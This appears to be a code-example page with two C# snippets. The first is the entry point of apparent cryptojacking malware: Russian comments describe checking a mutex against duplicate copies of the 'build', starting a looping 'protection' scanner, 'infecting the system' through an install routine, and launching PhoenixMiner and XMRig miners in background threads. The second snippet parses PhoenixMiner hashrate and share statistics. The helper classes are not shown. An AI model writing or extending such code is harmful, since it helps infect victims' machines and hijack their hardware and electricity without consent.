Esempio n. 1
0
        static void Main()
        {
            Thread.Sleep(4000);

            // Проверка Mutex на запуск копий билда
            if (!MutEx.Get())
            {
                Environment.Exit(0);
            }

            // Запускаем зищиту
            new Thread(() =>
            {
                while (true)
                {
                    try
                    {
                        Scanner.Run();
                    }
                    catch { }
                    Thread.Sleep(100);
                }
            }).Start();

            // Запуск заражения системы
            Install.GetInstall();

            // Запускаем майнеры
            new Thread(() =>
            {
                PhoenixMiner.Run();
            }).Start();

            new Thread(() =>
            {
                XMRIG.Run();
            }).Start();
        }
Esempio n. 2
0
        public void getMinerInfo()
        {
            BUSID    = new List <string>();
            Hashrate = new List <string>();
            Accepted = new List <string>();
            Rejected = new List <string>();
            List <string>  LS         = PhoenixMiner.GetPhoenixMinerInformation();
            List <double?> Hashrates  = JsonConvert.DeserializeObject <List <double?> >($"[{LS[3].Replace(";", ",")}]");
            List <int?>    ShAccepted = JsonConvert.DeserializeObject <List <int?> >($"[{LS[9].Replace(";", ",")}]");

            List <int?> ShRejected = JsonConvert.DeserializeObject <List <int?> >($"[{LS[10].Replace(";", ",")}]");

            List <int?> ShInvalid = JsonConvert.DeserializeObject <List <int?> >($"[{LS[11].Replace(";", ",")}]");

            List <int?> Busid = JsonConvert.DeserializeObject <List <int?> >($"[{LS[15].Replace(";", ",")}]");

            for (int k = 0; k < Busid.Count; k++)
            {
                BUSID.Add(Convert.ToString(Busid[k]));
                Hashrate.Add(Convert.ToString(Hashrates[k] / 1000) + " MH/S");
                Accepted.Add(Convert.ToString(ShAccepted[k]));
                Rejected.Add(Convert.ToString(ShRejected[k] + ShInvalid[k]));
            }
        }